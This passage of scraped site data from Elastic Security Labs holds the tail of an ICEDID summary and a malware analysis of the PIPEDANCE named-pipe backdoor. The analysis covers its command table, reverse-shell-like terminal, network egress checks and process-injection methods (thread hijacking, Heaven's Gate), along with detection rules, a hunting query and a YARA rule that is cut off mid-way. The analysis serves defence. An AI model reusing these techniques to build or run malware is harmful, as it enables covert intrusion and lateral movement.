\",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc\",rel:\"nofollow\",children:\"DarkVNC\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot\",rel:\"nofollow\",children:\"COBALT STRIKE\"}),\". Regular industry reporting, including research publications like this one, help mitigate this threat.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, highlight its capabilities, and deliver insights about how it is designed.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"execution-chain\",children:\"Execution Chain\"}),`\n`,(0,i.jsx)(e.p,{children:\"ICEDID employs multiple stages before establishing persistence via a scheduled task and may retrieve components from C2 dynamically. The following diagram illustrates major phases of the ICEDID execution chain.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/thawing-the-permafrost-of-icedid-summary/image1.jpg\",alt:\"ICEDID attack chain\",width:\"986\",height:\"690\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"research-paper-overview\",children:\"Research Paper Overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security Labs described the full execution chain of a recent ICEDID sample in a detailed research \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/pdf/elastic-security-labs-thawing-the-permafrost-of-icedid.pdf\",rel:\"nofollow\",children:\"paper\"}),\" hosted at Elastic Security Labs. In addition, we provide a comprehensive analysis of this malware sample and capabilities, including: - Virtualization detection and anti-analysis - C2 polling operations - Shellcode execution methods - Credential access mechanisms - Websocket connections - Installing a web browser proxy to capture all user traffic - Reverse shell and VNC server installation - Certificate pinning - Data validation - ICEDID observable TTPs - Links to useful resources from Elastic\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"detections-and-preventions\",children:\"Detections and preventions\"}),`\n`,(0,i.jsx)(e.h4,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/enumeration-of-administrator-accounts.html\",rel:\"nofollow\",children:\"Enumeration of Administrator Accounts\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/command-shell-activity-started-via-rundll32.html\",rel:\"nofollow\",children:\"Command Shell Activity Started via RunDLL32\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/security-software-discovery-using-wmic.html\",rel:\"nofollow\",children:\"Security Software Discovery using WMIC\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/suspicious-execution-from-a-mounted-device.html\",rel:\"nofollow\",children:\"Suspicious Execution from a Mounted Device\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/windows-network-enumeration.html\",rel:\"nofollow\",children:\"Windows Network Enumeration\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml\",rel:\"nofollow\",children:\"Unusual DLL Extension Loaded by Rundll32 or Regsvr32\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_windows_script_interpreter_child_process.toml\",rel:\"nofollow\",children:\"Suspicious Windows Script Interpreter Child Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml\",rel:\"nofollow\",children:\"RunDLL32 with Unusual Arguments\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.h4,{id:\"preventions-source-httpsgithubcomelasticprotections-artifacts\",children:[\"Preventions (source: \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/\",rel:\"nofollow\",children:\"https://github.com/elastic/protections-artifacts/\"}),\")\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Malicious Behavior Detection Alert: Command Shell Activity\"}),`\n`,(0,i.jsx)(e.li,{children:\"Memory Threat Detection Alert: Shellcode Injection\"}),`\n`,(0,i.jsx)(e.li,{children:\"Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32\"}),`\n`,(0,i.jsx)(e.li,{children:\"Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process\"}),`\n`,(0,i.jsx)(e.li,{children:\"Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments\"}),`\n`,(0,i.jsx)(e.li,{children:\"Malicious Behavior Detection Alert: Windows Script Execution from Archive File\"}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security has created multiple YARA rules related to the different stages/components within ICEDID infection, these can be found in the signature linked below: - \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_IcedID.yar\",rel:\"nofollow\",children:\"Windows.Trojan.ICEDID\"})]}),`\n`,(0,i.jsx)(e.hr,{}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries though the publication of detailed detection logic, protections, and applied threat research.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Follow us on @elasticseclabs or visit our research portal for more resources and research.\"})]})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var I=D;return y(E);})();\n;return Component;"},"_id":"articles/thawing-the-permafrost-of-icedid-summary.mdx","_raw":{"sourceFilePath":"articles/thawing-the-permafrost-of-icedid-summary.mdx","sourceFileName":"thawing-the-permafrost-of-icedid-summary.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/thawing-the-permafrost-of-icedid-summary"},"type":"Article","imageUrl":"/assets/images/thawing-the-permafrost-of-icedid-summary/blog-thumb-tree-icicles.jpg","readingTime":"3 min read","series":"","url":"/thawing-the-permafrost-of-icedid-summary","headings":[{"level":3,"title":"Execution Chain","href":"#execution-chain"},{"level":3,"title":"Research Paper Overview","href":"#research-paper-overview"},{"level":3,"title":"Detections and preventions","href":"#detections-and-preventions"},{"level":4,"title":"Detection logic","href":"#detection-logic"},{"level":4,"title":"Preventions (source: [https://github.com/elastic/protections-artifacts/](https://github.com/elastic/protections-artifacts/))","href":"#preventions-source-httpsgithubcomelasticprotections-artifactshttpsgithubcomelasticprotections-artifacts"},{"level":4,"title":"YARA","href":"#yara"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Twice around the dance floor - Elastic discovers the PIPEDANCE backdoor","slug":"twice-around-the-dance-floor-with-pipedance","date":"2023-02-27","description":"Elastic Security Labs is tracking an active intrusion into a Vietnamese organization using a recently discovered triggerable, multi-hop backdoor we are calling PIPEDANCE. This full-featured malware enables stealthy operations through the use of named","image":"photo-edited-12@2x.jpg","subtitle":"Elastic Security Labs describes the PIPEDANCE backdoor","tags":["ref1326","pipedance"],"body":{"raw":"\n## Key takeaways\n\n- Elastic Security Labs has identified PIPEDANCE, a previously unknown Windows backdoor used to enable post-compromise and lateral movement activities\n- Built for stealthy operations through named pipes, PIPEDANCE employs capabilities for interactive terminals, discovery/file enumeration, process injection, and data exfiltration checks\n- PIPEDANCE was observed deploying Cobalt Strike\n\n## Preamble\n\nIn late December 2022, Elastic Security Labs observed new activity in a previously monitored environment targeting a Vietnamese organization. This new activity included the execution of a named pipe malware used to facilitate post-compromise activity. We are naming this malware family PIPEDANCE. By leveraging PIPEDANCE, the adversary is able to:\n\n- Disguise activity through a custom function that randomly injects into a hard-coded list of Windows programs\n- Perform discovery by enumerating files and processes\n- Leverage standard backdoor capabilities such as running commands, writing files\n- Check different network protocols for exfiltration\n- Launch additional payloads through process injection techniques\n\nIn this post, we walk through the initial execution then detail the capabilities we have discovered from reviewing the malware.\n\nNote: Check out our follow-on publication on creating your own client to interact with a PIPEDANCE infected endpoint [here](https://www.elastic.co/security-labs/dancing-the-night-away-with-named-pipes).\n\n## Overview\n\nUnlike malware that might communicate with conventional network or application protocols, we identified a binary designed explicitly for lateral movement and post-compromise enablement within a contested environment: executing additional implants, running commands, performing file discovery, enumerating running processes, and checking outbound access; all through the use of Windows named pipes. This kind of functionality is comparable to Cobalt Strike or Metasploit’s SMB modules.\n\n\u003e [Named pipes](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipes) within Windows allow for inter-process communication on a single computer or between processes on separate machines within the same network. Named pipes can be set up for one-way or two-way communication between a pipe client and a pipe server. The data used within named pipes are all stored in memory where it is written and retrieved using standard Windows APIs ( **CreateFile** / **WriteFile** / **ReadFile** ) in the same way as reading/writing files.\n\n[Elastic Defend](https://docs.elastic.co/en/integrations/endpoint) was installed after an unknown initial compromise. The [Suspicious Windows Service Execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_suspicious_windows_service_execution.toml) behavioral rule generated the first observed events. While unconfirmed, [published research](https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/) describes similar techniques by an adversary leveraging execution through a locally-mounted Administrator share and using [Microsoft’s SysInternals DebugView](https://learn.microsoft.com/en-us/sysinternals/downloads/debugview) ( **DbgView.exe** ) utility to load PIPEDANCE.\n\n**DbgView.exe** was observed loading PIPEDANCE into [**makecab.exe**](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/makecab), the Windows utility used to package Cabinet files **.** The Windows performance data utility, [**typeperf.exe**](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf), was then injected into and spawned [**openfiles.exe**](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/openfiles) where Cobalt Strike was loaded into this process.\n\nWhile **openfiles.exe** binary is a legitimate Microsoft application, Elastic Defend generated a Cobalt Strike memory signature. After extracting the memory regions from the alert in Kibana, we identified the Cobalt Strike module [**invokeassembly.x64.dll**](https://twitter.com/_RastaMouse/status/1104282852869525506?s=20\u0026t=0_v846VUU-A0lE2gxgN_bg), validating that Cobalt Strike was injected into the legitimate **openfiles.exe** binary.\n\n![Execution flow of DgbView.exe loading makecab.exe and then openfiles.exe (Cobalt Strike)](/assets/images/twice-around-the-dance-floor-with-pipedance/image19.png)\n\nPIPEDANCE leverages named pipes as a communication mechanism between different infected endpoints within a compromised network. The adversary uses this capability as a bidirectional layer of command and control through which they can dispatch commands and pass data between named pipes.\n\n## Initial set-up / Communication flow\n\nAt the beginning of the main function, there is a hardcoded string used as the pipe name. This string is also used in later stages as an RC4 key to encrypt/decrypt data between pipes. In the image below, we can see the hardcoded pipe name ( **u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe** ) being set as a global variable.\n\n![The hardcoded u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe string used as the pipe name](/assets/images/twice-around-the-dance-floor-with-pipedance/image27.jpg)\n\nDuring initial execution, the malware will use the **CreateNamedPipeA** and **ConnectNamedPipe** methods to create the named pipe ( **“\\\\.\\pipe\\u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe**\") and wait for an incoming client process to connect to the pipe. The figure below represents this activity showing the pipe name being formatted with hardcoded string and initializing the pipe.\n\n![Initial Pipe Creation and Setup](/assets/images/twice-around-the-dance-floor-with-pipedance/image17.jpg)\n\nDuring the first client connection, PIPEDANCE retrieves the following values from the local system and places them into a buffer:\n\n- Process ID of the PIPEDANCE process\n- Current working directory of the PIPEDANCE process.\n- Domain \u0026 Username of the PIPEDANCE process\n\nPIPEDANCE passes this buffer and an 8-byte structure containing the result flag from a **IsWow64Process** evaluation and the buffer size for the subsequent **WriteFile** operation to the pipe. PIPEDANCE then encrypts the buffer containing the previous process details with RC4 and then writes the encrypted data back to the client pipe.\n\n![PIPEDANCE Write File Operation](/assets/images/twice-around-the-dance-floor-with-pipedance/image18.jpg)\n\nBelow is a high-level graphic that illustrates the purpose-built lateral movement functionality. With PIPEDANCE infections, the named pipe server process is run on a new victim machine, while the client instructions come from the operator from a previously compromised machine in the same network.\n\n![PIPEDANCE communication flow](/assets/images/twice-around-the-dance-floor-with-pipedance/image19_2_V2.jpg)\n\n### Command dispatching\n\nAfter an initial handshake, PIPEDANCE’s primary functionality consists of a while loop with a command dispatching function. This dispatching function will retrieve the provided command ID of its respective function along with any arguments and their size from the operator.\n\n![PIPEDANCE dispatching function](/assets/images/twice-around-the-dance-floor-with-pipedance/image23.jpg)\n\nThe parsing function passes an 8-byte structure consisting of the command instruction and the buffer size for the command argument. The command argument is decrypted using the previous RC4 key, then written back to the pipe.\n\n![PIPEDANCE parsing function](/assets/images/twice-around-the-dance-floor-with-pipedance/image20.jpg)\n\nOnce the command ID has been received, PIPEDANCE performs several conditional checks using if/else and switch statements.\n\n![PIPEDANCE conditional checks](/assets/images/twice-around-the-dance-floor-with-pipedance/image24.jpg)\n\nThe majority of the command functions return a result flag or error code to the operator. For some functions that may return large amounts of data, such as a list of running processes, the malware generates a new named pipe using the hardcoded string described earlier. Then it concatenates the PID of the PIPEDANCE process which sends and receives the data over this pipe.\n\n![PIPEDANCE sending large datasets over a new named pipe](/assets/images/twice-around-the-dance-floor-with-pipedance/image9.jpg)\n\n## Command functionality\n\nPIPEDANCE supports more than 20 different functions, each accessed using their command ID via if/then and switch/case logic. Below is an example of the first 4 functions.\n\n![Sample of PIPEDANCE functions](/assets/images/twice-around-the-dance-floor-with-pipedance/image26.jpg)\n\n### Command handling table\n\n| Command ID | Description |\n| ---------- | ---------------------------------------------------------------------------------------------------- |\n| 0x1 | Terminates process based on provided PID |\n| 0x2 | Run a single command through cmd.exe, returns output |\n| 0x3 | Terminal shell using stdin/stdout redirection through named pipes |\n| 0x4 | File enumeration on current working directory |\n| 0x6 | Create a new file with content from pipe |\n| 0x7 | Retrieve current working directory |\n| 0x8 | Set current working directory |\n| 0x9 | Get running processes |\n| 0x16 | Perform injection (thread hijacking or Heaven’s Gate) with stdin/stdout option for the child process |\n| 0x18 | Perform injection from hardcoded list (thread hijacking or Heaven’s Gate) |\n| 0x1A | Perform injection on provided PID (thread hijacking or Heaven’s Gate) |\n| 0x3E | Clear out global variable/pipe data |\n| 0x47 | Connectivity check via HTTP Get Request |\n| 0x48 | Connectivity check via DNS with providing DNS Server IP |\n| 0x49 | Connectivity check via ICMP |\n| 0x4A | Connectivity check via TCP |\n| 0x4B | Connectivity check via DNS without providing DNS Server IP |\n| 0x63 | Disconnect pipe, close handle, exit thread |\n| 0x64 | Disconnect pipe, close handle, exit process, exit thread |\n\nIn order to detail the significant capabilities of PIPEDANCE, we’ve split our analysis into three sections:\n\n- Standard backdoor functionality\n- Network connectivity checks\n- Process Injection techniques\n\n### Backdoor functionality\n\nPIPEDANCE offers various interactive backdoor capabilities needed by an operator in order to perform reconnaissance, and pivot through different systems.\n\n#### Command execution\n\nThere are two functions related to command execution, **Function 0x2** and **0x3**. The first method ( **Function 0x2** ) accepts a command argument from the terminal, such as **ipconfig**. This function starts by creating an anonymous named pipe with read and write handles. Before creating the process, PIPEDANCE will configure the **STARTUPINFO** structure using **STARTF_USESTDHANDLES** to pipe the command output ( **hStdOutput** ) for the new process.\n\n![Configuring the STARTUPINFO structure](/assets/images/twice-around-the-dance-floor-with-pipedance/image22.jpg)\n\nA thread is then created passing the previous read pipe handle as an argument. Memory is allocated for the command output and read from this read pipe handle. The data is then looped over and encrypted in a similar manner as before and sent back through a new named pipe. In our example, this is the data from the **ipconfig** command.\n\n![PIPEDANCE reading in the command output](/assets/images/twice-around-the-dance-floor-with-pipedance/image12.jpg)\n\nThe second execution command ( **Function 0x3** ) creates a new **cmd.exe** process in a suspended state and also leverages **STARTF_USESTDHANDLES** as before.\n\n![PIPEDANCE sets up cmd.exe execution through STDIN/STDOUT](/assets/images/twice-around-the-dance-floor-with-pipedance/image25.jpg)\n\nAfter the process is created, a new thread is created passing the **STARTUPINFO** where two named pipe server processes are created for input and output and the thread is resumed.\n\n![PIPEDANCE processing STDIN/STDOUT for command execution](/assets/images/twice-around-the-dance-floor-with-pipedance/image15.jpg)\n\nThis functionality operates similarly to a reverse shell, where the attacker has the ability to directly interact and pass data back and forth.\n\n#### Discovery and enumeration\n\nPIPEDANCE has built-in functionality related to discovery and enumeration. For process enumeration ( **Function 0x9** ), it leverages the **CreateToolhelp32Snapshot** function to retrieve the process details. The function returns the process ID, the name of the process, the architecture of the process, whether a process is tied to a system (Session represented as a **0** ) or user session (Session represented as a **1** ), and the username associated with the process.\n\n![PIPEDANCE performing process enumeration](/assets/images/twice-around-the-dance-floor-with-pipedance/image3.jpg)\n\nInterestingly, in our observations with a few different modules, the results are mangled by the developer due to formatting the data with the C runtime library function **vsprintf_s** when working with Unicode data. This can be observed below in the process discovery module where the process name output gets mangled whereas PIPEDANCE only returns the first character of the process, architecture, and usernames. Below is the output table returned to the operator. In this example, PID **564** with a (mangled) “Name” of **w** is actually PID **564** with a full process name of **winlogon.exe** , a full architecture name of **x86** , a session ID of **1** , and a full user name of **NT AUTHORITY\\SYSTEM** , etc.\n\n![Table of PIPEDANCE's enumeration output](/assets/images/twice-around-the-dance-floor-with-pipedance/pipedance-table.jpg)\n\nPIPEDANCE implements a terminal-like concept where it has a current or working directory for its process. This enables the adversary to use functions directly tied to the working directory, such as the file enumeration modules.\n\nFor file enumeration, PIPEDANCE will use a wildcard to pull back a file listing from the current working directory.\n\n![PIPEDANCE performs file and directory enumeration](/assets/images/twice-around-the-dance-floor-with-pipedance/image14.jpg)\n\nPIPEDANCE also offers functionality for creating files and writing content to files on the victim machine ( **Function 0x6** ). It does this by first creating and naming a file on the victim machine, then it creates a new thread with a new instance of a named pipe that will then wait for and read incoming data over the pipe. This data is XOR’d with the previous RC4 key and then written to the file.\n\n![PIPEDANCE creates and writes a file on the victim machine](/assets/images/twice-around-the-dance-floor-with-pipedance/image6.jpg)\n\nPIPEDANCE also has various administrator or maintenance commands used to terminate processes, terminate threads, disconnect pipes, clear global variables from memory, etc.\n\n### Network connectivity checks\n\nAs adversaries pivot and move through a network, one of their objectives is understanding where the endpoint sits inside the network and determining what protocols are available for shipping data laterally or externally. PIPEDANCE is specifically built to identify exit points on an endpoint by checking DNS, ICMP, TCP, and HTTP protocols.\n\n![PIPEDANCE performing protocol connectivity checks](/assets/images/twice-around-the-dance-floor-with-pipedance/image5.jpg)\n\nAs an example, PIPEDANCE will make a DNS request to bing[.]com when providing a DNS server as an argument, the result of the query will be returned back to the operator indicating success or not. For ICMP, PIPEDANCE will generate fake data for the ICMP request by looping over the alphabet and sending it to a provided IP address.\n\n![PIPEDANCE performing ICMP checks](/assets/images/twice-around-the-dance-floor-with-pipedance/image10.jpg)\n\n![PIPEDANCE generating ICMP data from the US alphabet](/assets/images/twice-around-the-dance-floor-with-pipedance/image7.jpg)\n\nSimilarly for HTTP, the operator can provide a domain where PIPEDANCE will perform a vanilla HTTP GET request over port 80 and then return a boolean value for success or not.\n\n![PIPEDANCE performing an HTTP check](/assets/images/twice-around-the-dance-floor-with-pipedance/image4.jpg)\n\nThese are straightforward functions, but they provide great insight into the developer’s mindset and the type of objectives they are trying to achieve. These checks are likely used in a multi-stage process where these protocols are verified first in a lightweight method then additional shellcode/payloads are launched afterward.\n\n### Process injection techniques\n\nIn a similar fashion to many post-exploitation frameworks, PIPEDANCE leverages different forms of process injection to execute shellcode and launch additional implants. Depending on the process architecture, the malware will perform injection using a standard thread execution hijacking technique or the [Heaven’s Gate technique](https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/).\n\n![PIPEDANCE performing process injection](/assets/images/twice-around-the-dance-floor-with-pipedance/image16.jpg)\n\nPIPEDANCE utilizes defense evasions to obscure their activity by randomly picking a Windows program from a hardcoded list to use as an injection target.\n\nThis method generates a seed value based on the current time and passes it to a pseudorandom number generator that returns a value between 0 and 5. This value determines which of 6 hard-coded binaries ( **makecab.exe** , **typeperf.exe** , **w32tm.exe** , **bootcfg.exe** , **diskperf.exe** , **esentutl.exe** ) is used.\n\n![Hardcoded binaries that PIPEDANCE can use as injection targets](/assets/images/twice-around-the-dance-floor-with-pipedance/image1.jpg)\n\nBelow is an example of the Windows APIs used with the thread hijacking technique when PIPEDANCE is running under a 32-bit architecture.\n\n![PIPEDANCE performs thread hijacking](/assets/images/twice-around-the-dance-floor-with-pipedance/image11.jpg)\n\nIf the processor architecture is 64-bit, PIPEDANCE will use the Heaven’s Gate technique calling Native API functions ( **NtGetContextThread** , **NtWriteVirtualMemory** , **RtlCreateUserThread** ), switching the CPU to 64-bit, and executing shellcode.\n\n![PIPEDANCE using Heaven’s Gate for 64-bit architectures](/assets/images/twice-around-the-dance-floor-with-pipedance/image21.jpg)\n\n![PIPEDANCE calling NtWriteVirtualMemory for injection](/assets/images/twice-around-the-dance-floor-with-pipedance/image8.jpg)\n\nPIPEDANCE also supports other methods of injection using **CreateRemoteThread** or through a Heaven’s Gate call to **RtlCreateUserThread**. With this function, instead of choosing from the previously hardcoded list, the operator provides the PID for the injection target.\n\n![PIPEDANCE allowing operator-supplied injection targets](/assets/images/twice-around-the-dance-floor-with-pipedance/image13.jpg)\n\n## Summary\n\nPIPEDANCE is designed to conduct covert operations using named pipes and has various features to enable the post-compromise stage. In terms of capabilities, it reminds us of an offensive attack framework's SMB module, but with its own customization. While leveraging named pipes is not a novel technique, it's interesting to see how it's been implemented as a command and control internal proxy and represents an in-house development capability.\n\n## Detection logic\n\n### Prevention\n\n- Memory Threat Prevent Alert: Shellcode Injection\n\n### Detection\n\n- [Suspicious Windows Service Execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_windows_service_execution.toml)\n- [NullSessionPipe Registry Modification](https://www.elastic.co/guide/en/security/current/nullsessionpipe-registry-modification.html)\n- [Potential Lateral Tool Transfer via SMB Share](https://www.elastic.co/guide/en/security/master/potential-lateral-tool-transfer-via-smb-share.html)\n\n#### Hunting queries\n\nThe events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\n\n##### KQL queries\n\nUsing the Discover app in Kibana, the below query will identify network connections coming from the hardcoded injection targets within PIPEDANCE.\n\n```\nprocess.name:(\"makecab.exe\" or \"typeperf.exe\" or \"w32tm.exe\" or \"bootcfg.exe\" or \"diskperf.exe\" or \"esentutl.exe\") and event.dataset: endpoint.events.network\n```\n\n#### YARA\n\nElastic Security has created a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PipeDance.yar) to identify this activity. Below is the YARA rule to identify PIPEDANCE.\n\n```\nrule Windows_Trojan_PipeDance {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-02-02\"\n last_modified = \"2023-02-02\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PipeDance\"\n threat_name = \"Windows.Trojan.PipeDance\"\n license = \"Elastic License v2\"\n strings:\n $str1 = \"%-5d %-30s %-4s %-7d %s\" wide fullword\n $str2 = \"PID Name Arch Session User\" wide fullword\n $str3 = \"%s %7.2f B\" wide fullword\n $str4 = \"\\\\\\\\.\\\\pipe\\\\%s.%d\" ascii fullword\n $seq_rc4 = { 8D 46 ?? 0F B6 F0 8A 14 3E 0F B6 C2 03 C1 0F B6 C8 89 4D ?? 8A 04 0F 88 04 3E 88 14 0F 0F B6 0C 3E 0F B6 C2 03 C8 0F B6 C1 8B 4D ?? 8A 04 38 30 04 0B 43 8B 4D ?? 3B 5D ?? 72 ?? }\n $seq_srv_resp = { 8B CE 50 6A 04 5A E8 ?? ?? ?? ?? B8 00 04 00 00 8D 4E ?? 50 53 8B D0 E8 ?? ?? ?? ?? B8 08 02 00 00 8D 8E ?? ?? ?? ?? 50 57 8B D0 E8 ?? ?? ?? ?? }\n $seq_cmd_dispatch = { 83 FE 29 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE 06 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 33 D2 2B C2 0F 